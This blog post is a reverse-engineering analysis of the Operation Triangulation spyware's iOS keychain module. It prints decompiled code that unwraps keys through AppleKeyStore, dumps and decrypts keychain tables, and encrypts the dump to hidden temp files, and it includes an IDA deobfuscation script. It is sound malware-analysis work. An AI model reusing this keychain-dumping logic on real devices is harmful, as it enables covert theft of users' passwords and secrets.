Operation triangulation - Keychain module analysis.

Operation triangulation - Keychain module analysis.

February 7, 2024

Operation Triangulation is the name of an attack that has been targeting Kaspersky employees among others. Kaspersky has published a lot of really interesting blogposts detailing the exploit chain and how they caught all the samples.

They also gave a conference detailing the exploit chain used for operation triangulation :

Several modules have been caught by Kaspersky. Many of them have been shared on https://vx-underground.org/ . Even if Kaspersky already published some details about these modules, we wanted to also analyze them to get more knowledge about the internals of a sophisticated spyware implant. In this blogpost we will focus on the keychain module 64f36b0b8ef62634a3ec15b4a21700d32b3d950a846daef5661b8bbca01789dc.

As this module contains its symbols, we thought it would be the easiest and quickest to analyze, thus we chose to start with it. This blog post is the first one from a series where we will try to go in depth of each available samples.

Before diving in the behavior of the keychain module, let’s quickly remember what is the iOS keychain.

KeyChain #

According to Apple’s documentation, “In iOS, apps have access to a single keychain (which logically encompasses the iCloud keychain). This keychain is automatically unlocked when the user unlocks the device and then locked when the device is locked. An app can access only its own keychain items, or those shared with a group to which the app belongs.”. The keychain will contain all the passwords (and others secrets) that are stored on the device.

If an application wants to store/search/delete entries in the keychain, it can uses the SecItem* APIs. Everything is stored in a database on the device named keychain-2.db.

We will only summarise what is necessary to understand the keychain module of operation triangulation, but more details about the keychain can be found here : https://shindan.io/kb/ios/keychain/keychain_items_storage/.

Keychain item storing 101 #

An item is the combination of some metadata (account name, website, notes, etc…) and secret (password, secret key). These items are stored in different tables, depending on their classes. The possible classes are :

Let’s summarise what is happening when an item is added into the keychain :

  1. securityd receives an item to store.
  2. The metadata are encrypted.
  3. The metadata key is wrapped.
  4. The secret is encrypted.
  5. The secret key is wrapped.
  6. The metadata and secret items are serialised.
  7. The blob is written into the data field.

The important thing to note here are that there are two different encryption key, one for the metadata, and one for the secret, and the items are stored as serialised object in the database.

Key wrapping #

Key wrapping is a technique used to protect cryptographic keys during storage or transmission by encrypting them with another key, known as a wrapping key. This wrapping key is inaccessible from userland because it is managed by the Secure Enclave. The userland must communicate with the AppleKeyStore kernel extension to wrap or unwrap a key from userland. Metadata and secret keys are wrapped by the keychain to protect them.

Key classes #

Another thing to note is that, in the keychain, keys are classified and protected depending on their classification. The different key classes protection are :

  • WhenUnlocked
  • AfterFirstUnlock
  • Always
  • WhenUnlockedThisDeviceOnly
  • AfterFirstUnlockThisDeviceOnly
  • AlwaysThisDeviceOnly

If the device tries, for example, to unwrap a key having a key class WhenUnlocked when the device is locked, the calls to AppleKeyStore will fail.

After this quick introduction on the iOS keychain, let’s dive into the keychain spyware module.

Keychain module main’s logic #

This binary contains its symbols so it is pretty straightforward to analyse. The code seems to be a modified and updated version of this project : https://github.com/nabla-c0d3/iphone-dataprotection.keychainviewer/tree/master.

When started, the module follows this logic :

  • First it deobfuscates its strings using a simple xor cypher.
  • Then it checks the lock state of the device.
  • If the device has never been unlocked it will sleep for 0.25s and retry until the device has been unlocked for the first time.
  • If the device has been unlocked, the module will start to dump the keychain. It will open the database, dump the keychain, encrypt the dumped data and write it in a file.

In depth analysis #

The first thing we see when analysing the main function is that there is a function that deobfuscate strings named demangleString. The function is a simple xor cypher :

char *__fastcall demangleString(char *a1, char *a2, int size)
{
  int i; // [xsp+4h] [xbp-2Ch]
  char *ret; // [xsp+8h] [xbp-28h]

  ret = (char *)malloc(size + 1);
  if ( !ret )
    return 0LL;
  for ( i = 0; i < size; ++i )
    ret[i] = a1[i] ^ a2[i] ^ i;
  ret[size] = 0;
  return ret;
}

With the help of an IDA script we can retrieve the list of strings, and add a comment for each call to demangleString to help the reverse engineering process.

/private/var/tmp/S5L%08x-%d.kcd
/private/var/tmp/S5L%08x-%d.kcd.tmp
SELECT * from genp
SELECT * from inet
SELECT * from cert
SELECT * from keys
SELECT * FROM metadatakeys
AppleKeyStore
AppleKeyStore
AppleKeyStore
SELECT version FROM tversion
/private/var/Keychains/keychain-2.db
WhenUnlocked
AfterFirstUnlock
Always
WhenUnlockedThisDeviceOnly
AfterFirstUnlockThisDeviceOnly
AlwaysThisDeviceOnly
WhenPasscodeSetThisDeviceOnly
data
protection_class
bplist
/usr/lib/system/libcommonCrypto.dylib
CCCryptorGCM
yyyyMMddHHmmss
data
rowid
protection_class
v_Data
unwrappedKey
data
actualKeyclass
unwrappedKey
data

The script can be found at the end of the blogpost.

After some checks to see if the strings got deobfuscated correctly, The module is calling snprintf on the format string /private/var/tmp/S5L%08x-%d.kcd and /private/var/tmp/S5L%08x-%d.kcd.tmp

				random_nbr_1 = arc4random();
                random_nbr_2 = arc4random();
                if ( __snprintf_chk(buffer_path_S5L_XXX_0_kcd, 0x32uLL, 0, 0x32uLL, path_tmp_S5L_kcd, random_nbr_1, 0LL) != -1
                  && buffer_path_S5L_XXX_0_kcd[0]// /private/var/tmp/S5L-RAND-0.kcd
                  && __snprintf_chk(buffer_path_S5L_XXX_1_kcd, 0x32uLL, 0, 0x32uLL, path_tmp_S5L_kcd, random_nbr_2, 1LL) != -1
                  && buffer_path_S5L_XXX_1_kcd[0]// /private/var/tmp/S5L-RAND-1.kcd
                  && __snprintf_chk(
                       buffer_path_S5L_XXX_0_kcd_tmp,
                       0x32uLL,
                       0,
                       0x32uLL,
                       path_tmp_S5L_kcd_tmp,
                       random_nbr_1,
                       0LL) != -1
                  && buffer_path_S5L_XXX_0_kcd_tmp[0]// // /private/var/tmp/S5LRAND-0_kcd_tmp
                  && __snprintf_chk(
                       buffer_path_S5L_XXX_1_kcd_tmp,
                       0x32uLL,
                       0,
                       0x32uLL,
                       path_tmp_S5L_kcd_tmp,
                       random_nbr_2,
                       1LL) != -1
                  && buffer_path_S5L_XXX_1_kcd_tmp[0]// /private/var/tmp/S5LRAND-1_kcd_tmp
                  && !(unsigned int)AppleKeyStore_getLockState((__int64)&lockstate) )

Four path are created :

  • /private/var/tmp/S5LRANDOM-0.kcd
  • /private/var/tmp/S5LRANDOM-1.kcd
  • /private/var/tmp/S5LRANDOM-0.kcd.tmp
  • /private/var/tmp/S5LRANDOM-1.kcd.tmp

These are the files that will contain the dumped data.

AppleKeyStore GetLockState #

The module is verifying the “lock state” of the device. To do so, It’s calling the function named AppleKeyStore_getLockState().

__int64 __fastcall AppleKeyStore_getLockState(__int64 *lockstate)
{
  uint32_t out_len; // [xsp+1Ch] [xbp-24h] BYREF
  uint64_t *out; // [xsp+20h] [xbp-20h]
  uint64_t in; // [xsp+30h] [xbp-10h] BYREF

  out = (uint64_t *)lockstate;
  in = 0LL;
  out_len = 1;
  if ( lockstate )
  {
    if ( AppleKeyStore || (AppleKeyStore = (__int64)demangleString(byte_10000BD7A, byte_10000BD88, 14)) != 0 )
      return (unsigned int)IOKit_call(AppleKeyStore, 7u, &in, 1u, 0LL, 0LL, out, &out_len, 0LL, 0LL);
...
}

This function is calling the selector 0x7 from the AppleKeyStore kernel extension. This selector allows to retrieve the lock state of the device. From our experimentation, the possible values for the lock state are :

  • 0x1 -> never unlocked
  • 0x5 -> locked with passcode
  • 0x4 -> unlocked with passcode
  • 0x6 -> no passcode This check is done because trying to unwrap keys from a never unlocked device would fail for most items.

To call this selector, the module is using a wrapper function named IOKit_call that will call the necessary IOKit_getConnect and IOConnectCallMethod to communicate with the kernel extension. All other communications with the AppleKeyStore kernel extension will be done using this wrapper.

Dumping the keyChain #

Before dumping the keychain, a call to the function AppleKeyStoreKeyBagInit() is made. It is calling the selector 0x0 of the AppleKeyStore kext.

__int64 AppleKeyStoreKeyBagInit()
{
  uint32_t output_len; // [xsp+1Ch] [xbp-14h] BYREF
  uint64_t output; // [xsp+20h] [xbp-10h] BYREF

  output = 0LL;
  output_len = 1;
  if ( !AppleKeyStore )
    AppleKeyStore = (__int64)demangleString(byte_10000BD7A, byte_10000BD88, 14);// AppleKeyStore
  if ( AppleKeyStore )
    return (unsigned int)IOKit_call(AppleKeyStore, 0, 0LL, 0, 0LL, 0LL, &output, &output_len, 0LL, 0LL);
...
}

If this call fails, the module will stop. From our experimentation, this call is not required to be able to unwrap keys using AppleKeyStore kext.

After that, the module is opening the keychain located at /private/var/Keychains/keychain-2.db using the function keychain_open. It is allocating a structure defined as :

00000000 struct_1        struc ; (sizeof=0x20, mappedto_70)
00000000 ppDb            DCQ ?
00000008 version         DCQ ?
00000010 keychain_get_item_fnptr DCQ ?
00000018 keychain_get_meta_item_fnptr DCQ ?      ; offset
00000020 struct_1        ends

This structure is based on the structure used in https://github.com/nabla-c0d3/iphone-dataprotection.keychainviewer/blob/master/Keychain/keychain.h#L11, but a function pointer has been added.

struct_1 *__fastcall keychain_open(char *filepath)
{
...
      s_keychain = (struct_1 *)malloc(0x20uLL);
...
        if ( sqlite3_open_v2(path, (sqlite3 **)s_keychain, 1, 0LL) )// Opening the keychain database
...
          sqlite3_prepare_v2((sqlite3 *)s_keychain->ppDb, select_version_from_tversion, -1, &ppStmt, 0LL);
          if ( sqlite3_step(ppStmt) == 100 )    // == SQLITE_ROW
          {
            LODWORD(s_keychain->version) = sqlite3_column_int(ppStmt, 0);
            s_keychain->keychain_get_meta_item_fnptr = keychain_get_meta_item;
            if ( LODWORD(s_keychain->version) == 4 )
            {
              s_keychain->keychain_get_item_fnptr = (__int64)keychain_get_item_ios4;
            }
            else if ( LODWORD(s_keychain->version) < 5 || LODWORD(s_keychain->version) > 0xB )
            {
              s_keychain->keychain_get_item_fnptr = 0LL;
            }
            else
            {
              s_keychain->keychain_get_item_fnptr = (__int64)keychain_get_item_ios5;
            }
          }
...

After that, It is executing the request SELECT version from tversion to retrieve the version and set its structure member with it. It is also defining the function pointer keychain_get_meta_item_fnptr. This function pointer will be used later. Depending of the version it will also define the keychain_get_item_fnptr pointer in the structure :

  • if version equals 4, it is defined to keychain_get_item_ios4 function address.
  • Else if version is inferior to 5 or superior to 11 the pointer is set to NULL.
  • Else (version between 5 and 11 included) the pointer is set to keychain_get_item_ios5 function address.

The mapping between version from tversiontable and iOS version does not seems to be available, but from experimentation we observed that :

  • on iOS 16.7.2 -> version equal 12.
  • on iOS 16.0 -> version equal 12.
  • on iOS 15.7.9 -> version equal 11.
  • on iOS 15.7.3 -> version equal 11.
  • on IOS 12.5.7 -> version equal 11.

It’s possible to find traces of these versioning in the securityd source code published by Apple https://github.com/apple-oss-distributions/Security/blob/Security-61040.1.3/keychain/securityd/SecItemSchema.c, but it does not give a clear iOS version <-> keychain schema version mapping :

/*
 * Version 11.9
 * Add extra columns for CKState
 */
const SecDbSchema v11_9_schema = {
    .majorVersion = 11,
    .minorVersion = 9,
    .classes = {
...
        0
    }
};

tversion 4 #

The process concerning tversion 4 is slightly different to the process when tversion is between 5 and 11. When tversion is 4, in addition of retrieving data and unwrapping keys, the module is decrypting the data using CCCrypt. This part will not be detailed as it seems to concern only really old iOS version.

Retrieving items #

Let’s follow what is happening when tversion is between 5 to 11.

if ( ppDb->keychain_get_item_ios4_or_5  )
                    {
                      cf = (CFTypeRef)keychain_metadata_keys(ppDb, select_star_from_metadatakeys);
...
                      cf = (CFTypeRef)keychain_get_items(ppDb, select_star_from_genp);
...
                      cf = (CFTypeRef)keychain_get_items(ppDb, select_star_from_inet);
 ...
                      cf = (CFTypeRef)keychain_get_items(ppDb, select_star_from_cert);
...
                      cf = (CFTypeRef)keychain_get_items(ppDb, select_star_from_keys);
..

First, the function keychain_metadata_keys is called. This function is in charge of dumping the metadata keys. After that, keychain_get_items is called severals times. This function is in charge of dumping items from these tables :

  • genp
  • inet
  • cert
  • keys

Dumping metadata key #

The module retrieves the wrapped metadata keys using the request SELECT * from metadatakeys :

__CFArray *__fastcall keychain_metadata_keys(struct_1 *ppDb, char *a2)
{
...
  if ( sqlite3_prepare_v2((sqlite3 *)v7->ppDb, zSql, -1, &ppStmt, 0LL) || !ppStmt )
...
  while ( sqlite3_step(ppStmt) == 100 )
  {
    value = v7->keychain_get_meta_item_ptr(ppStmt);
    ...
}

For each rows, it retrieves the actualKeyclass and data columns, and then executes the selector 0xB on the AppleKeyStore service. This selector seems to correspond to the kAppleKeyStoreKeyUnwrap call. This allows the module to unwrap the metadata keys for each of the key classes.

After that, it is filling a dictionary with the unwrapped keys, and their corresponding key class :

    CFDictionaryAddValue(theDict, v9, value);   // dict["unwrappedKey"] = data
    CFDictionaryAddValue(theDict, key, cf);     // dict["actualKeyClass"] = extracted actualKeyClass

Once this is done, the module starts to dump the keychain items.

Dumping keychains items #

Severals calls are made to the function keychain_get_items in order to retrieve items.

__CFArray *__fastcall keychain_get_items(struct_1 *s_keychain, char *sql)
{
  ...
  zSql = sql;
...
  theArray = CFArrayCreateMutable(kCFAllocatorDefault, 0LL, &kCFTypeArrayCallBacks);
...
  if ( sqlite3_prepare_v2((sqlite3 *)skeychain->ppDb, zSql, -1, &ppStmt, 0LL) || !ppStmt )
...
  while ( sqlite3_step(ppStmt) == 100 )
  {
    value = (void *)((__int64 (__fastcall *)(sqlite3_stmt *))skeychain->keychain_get_item_fnptr)(ppStmt);
    if ( value )
    {
      CFArrayAppendValue(theArray, value);
      CFRelease(value);
    }
  }
...
  return theArray;
}

This function is executing the query passed in it’s 2nd argument. In total, four queries are executed :

SELECT * from genp
SELECT * from inet
SELECT * from cert
SELECT * from keys

For each rows returned by the query, it executes the keychain_get_item_fnptr function defined by keychain_open. When tversion is between 5 and 11, it is defined with the function’s address keychain_get_item_ios5.

CFMutableDictionaryRef __fastcall keychain_get_item_ios5(sqlite3_stmt *a1)
{
...
  for ( i = 0; ; ++i )
  {
...
    v14 = sqlite3_column_name(v15, i);
    if ( !strncmp(v14, (const char *)str_rowid, 6uLL) )// if col is "rowid"
    {
      valuePtr = sqlite3_column_int(v15, i);
      continue;
    }
    if ( !strncmp(v14, (const char *)str_data, 5uLL) )// if col is "data"
    {
      data_blob = (const UInt8 *)sqlite3_column_blob(v15, i);
      data_len = sqlite3_column_bytes(v15, i);
      if ( data_len <= 0 || !data_blob )
        return 0LL;
      theDict = decrypt_data_ios5(data_blob, data_len, &protection_class);
      if ( theDict )
        break;
    }
  }
  value = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &valuePtr);
  if ( value )
  {
    CFDictionarySetValue(theDict, (const void *)cfstr_rowid, value);
    CFRelease(value);
  }
  cf = keychain_protectionClassIdToString(protection_class);
  if ( cf )
  {
    CFDictionarySetValue(theDict, (const void *)qword_100010138, cf);
    CFRelease(cf);
  }
  v3 = CFDictionaryGetValue(theDict, (const void *)vData);
  if ( v3 )
  {
    v2 = (CFTypeRef)keychain_convert_data_to_string_or_plist(v3);
    if ( v2 )
    {
      CFDictionaryAddValue(theDict, (const void *)cfstr_data, v2);
      CFRelease(v2);
    }
  }
  return theDict;
}

The function keychain_get_item_ios5 is retrieving the rowid, the protection class and the processed item’s data, and then, is filling a dictionary with these values. The item’s data are processed using the function decrypt_data_ios5.

Item’s data processing #

As explained in the introduction to keychain item storage, the item data is stored in a serialised object. The behaviour of the item’s data processing depends of the item version. The version is stored in the first four bytes of the item data.

When the version is 7 or 8, the module uses a custom parsing function parseKeychainData that retrieves the key class and the wrapped key from the serialised object. When it has been done, the key is unwrapped using the AppleKeyStore_keyUnwrap function. A dictionary is then filled with the unwrapped key, and the item’s data blob.

...
    if ( version == 7 || version == 8 )
    {
      memset(__b, 0, sizeof(__b));
      parseKeychainData(data_blob_2 + 4, data_len_2 - 4, (__int64)__b, &keyclass);
      if ( out_2 )
        *out_2 = keyclass;
      if ( (unsigned int)AppleKeyStore_keyUnwrap(keyclass, __b, 0x28uLL, unwrapped) )
...
      cfdata_unwrapped = CFDataCreate(0LL, unwrapped, 40LL);
      cfdata_data_blob = CFDataCreate(0LL, data_blob_2, data_len_2);
...
      if ( !cfstring_data )
      {
        cfstring_data = (__int64)CFStringCreateWithCString(0LL, str_data, 0x600u);
...
      }
      if ( !cfstring_unwrappedKey )
      {
        cfstring_unwrappedKey = (__int64)CFStringCreateWithCString(0LL, str_unwrappedKey, 0x600u);
...
      }
      theDict = CFDictionaryCreateMutable(0LL, 0LL, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
      if ( theDict )
      {
        CFDictionaryAddValue(theDict, (const void *)cfstring_unwrappedKey, cfdata_unwrapped);
        CFDictionaryAddValue(theDict, (const void *)cfstring_data, cfdata_data_blob);
      }
...
  return theDict;
}

For lower versions, the code is the same as this : https://github.com/nabla-c0d3/iphone-dataprotection.keychainviewer/blob/master/Keychain/keychain5.c#L21. It retrieves the unwrapped key and the data blob, and then uses CCCryptorGCM to decrypt the blob.

Once this is done, all the data is merged into a serialised plist data object with the function saveResults.

Encrypting the dump #

When all the tables has been dumped, the module closes the keychain database, and calls _encryptData to encrypt the dumped data.

    v19 = keychain_close((sqlite3 **)ppDb);
                    if ( theData )
                      encrypted_data = encryptData(theData);

Analysing the function shows that first, it compresses the data using compress2. Then, it uses SecRandomCopyBytes to generate its IV, and then uses CCCrypt to encrypt the data. The key used is : 73 ab 2f 3f a0 7e 77 30 61 2b 25 fc 66 2a 73 50.


undefined8 _encryptData(long param_1)

...
if ( !compress2((Bytef *)dataIn, &destLen, source, sourceLen, -1) )
    {
      if ( SecRandomCopyBytes(kSecRandomDefault, 0x10uLL, &IV) )
        IV = xmmword_10000BAE0;
      v11 = CCCrypt(0, 0, 1u, &unk_10000BAF0, 0x10uLL, &IV, dataIn, destLen, 0LL, 0LL, &dataOutMoved);
      ...

Saving the data #

Finally it saves the encrypted data into one of its .tmp file, depending on the lock state either : /private/var/tmp/S5LRANDOM-0.kcd.tmp or /private/var/tmp/S5LRANDOM-1.kcd.tmp. If everything went correctly, it renames the file into a .kcd.

if ( encrypted_data )
                    {
                      if ( (lockstate & 1) == 1 )
                      {
                        __stream = fopen(buffer_path_S5L_XXX_0_kcd_tmp, "w");
                        if ( __stream )
                        {
                          __ptr = CFDataGetBytePtr(encrypted_data);
                          __nitems = CFDataGetLength(encrypted_data);
                          fwrite(__ptr, 1uLL, __nitems, __stream);
                          fclose(__stream);
                          rename(buffer_path_S5L_XXX_0_kcd_tmp, buffer_path_S5L_XXX_0_kcd);
                        }
                      }
                      else
                      {
                        __streama = fopen(buffer_path_S5L_XXX_1_kcd_tmp, "w");
                        if ( __streama )
                        {
                          BytePtr = CFDataGetBytePtr(encrypted_data);
                          Length = CFDataGetLength(encrypted_data);
                          fwrite(BytePtr, 1uLL, Length, __streama);
                          fclose(__streama);
                          rename(buffer_path_S5L_XXX_1_kcd_tmp, buffer_path_S5L_XXX_1_kcd);
                        }
                      }
                    }

These file are probably retrieved and exfiltrated by another module.

Conclusion #

This module of the operation triangulation spyware seems to be code retrieved from github and modified. The behaviour of the module, raises some questions, for example, why it does not support tversion superior to 11 while it seems that on tversion 12 the items are stored the same way. Also, why the module isn’t waiting for the device to be unlocked, but only waits for the first unlock making it missing items classes protected by device locking. Also it is possible that this module has been included by mistake, because as Kaspersky showed, a keychain module is already existing in TriangleDB. Besides that, this module is fairly simple and uses known techniques.

There are other module to analyse, in the next blogpost, we will see how the audio is recorded and how traces are hidden by analysing the audio module.

Annex #

String deobfuscation script : #

import idaapi
import idautils
import idc
import ida_allins

def demangle_stri(param1, param2, size):
    ret = []
    for i in range(size-1):
        ret.append(chr(param1[i] ^ param2[i] ^ i))
    return "".join(ret)

def retrieve_args_from_adr_insn(addr, arg_idx):
    print("\tretrieve arg {} from addr {:08x}".format(arg_idx, addr))
    addr = idaapi.get_arg_addrs(addr)[arg_idx]
    print("\targ {} is @ addr {:08x}".format(arg_idx, addr))
    insn = idaapi.insn_t()
    length = idaapi.decode_insn(insn, addr)
    if insn.itype == ida_allins.ARM_adrl:
        if insn.ops[1].type == ida_ua.o_imm:
            print("\t\tFound value {:08x} at addr {:08x}".format(insn.ops[1].value, addr))
            return insn.ops[1].value
    elif insn.itype == ida_allins.ARM_ldr:
        # stack var?
        if insn.ops[1].type == o_displ:
            op = insn[1] #first operand references stack var
            pMember, val = ida_frame.get_stkvar(insn, op, op.addr)
            print("\t\tFound value {:08x} at addr {:08x}".format(val, addr))
            return val
    # It's a mov instruction
    elif insn.itype == ida_allins.ARM_mov:
        if insn.ops[1].type == ida_ua.o_imm:
            print("\t\tFound value {:08x} at addr {:08x}".format(insn.ops[1].value, addr))
            return insn.ops[1].value
        # the second operand is a register we will search for an ADR or a MOV instruction concerning this register before
        if insn.ops[1].type == ida_ua.o_reg:
        #    # saving the second operand (register)
            reg_old = idc.print_operand(addr, 1)
            print("\t\t\toperand is register : {}".format(reg_old))
            while True:
                addr = addr - 4
                idaapi.decode_insn(insn, addr)
                # we found an ADR
                if insn.itype == ida_allins.ARM_adr:
                    # let's see if it's affecting our register
                    reg_new = idc.print_operand(addr, 0)
                    if reg_new == reg_old or reg_new[-1] == reg_old[-1]: # For ARM reg (X9 and W9 by example)
                        if insn.ops[1].type == ida_ua.o_imm:
                            print("\t\tFound value {:08x} at addr {:08x}".format(insn.ops[1].value, addr))
                            return insn.ops[1].value
                # we found an MOV
                if insn.itype == ida_allins.ARM_mov:
                    # let's see if it's affecting our register
                    reg_new = idc.print_operand(addr, 0)
                    if reg_new == reg_old or reg_new[-1] == reg_old[-1]:
                        if insn.ops[1].type == ida_ua.o_imm:
                            print("\t\tFound value {:08x} at addr {:08x}".format(insn.ops[1].value, addr))
                            return insn.ops[1].value
    else:
        print("\t\tReturned None")
        return None

def decrypt_strings(func_ea):
    done = []
    # Iterate over all cross-references to the given function
    for xref in idautils.XrefsTo(func_ea):
        # Get the calling function's start address
        caller_ea = xref.frm
        print(" ## Working on function {:08x}".format(caller_ea))
        size = retrieve_args_from_adr_insn(caller_ea, 2)

        s1 = idaapi.get_bytes(retrieve_args_from_adr_insn(caller_ea, 0), size)
        s2 = idaapi.get_bytes(retrieve_args_from_adr_insn(caller_ea, 1), size)
        print("\ts1 {}".format(s1))
        print("\ts2 {}".format(s2))
        print("\tsize {:08x}".format(size))

        # we want to do each string only one times
        ret = demangle_stri(s1, s2, size)
        print("".join(ret))
        # set non-repeatable comment
        idc.set_cmt(caller_ea, ret, False)
            
    

target_function_address = 0x000000010000A304


decrypt_strings(target_function_address)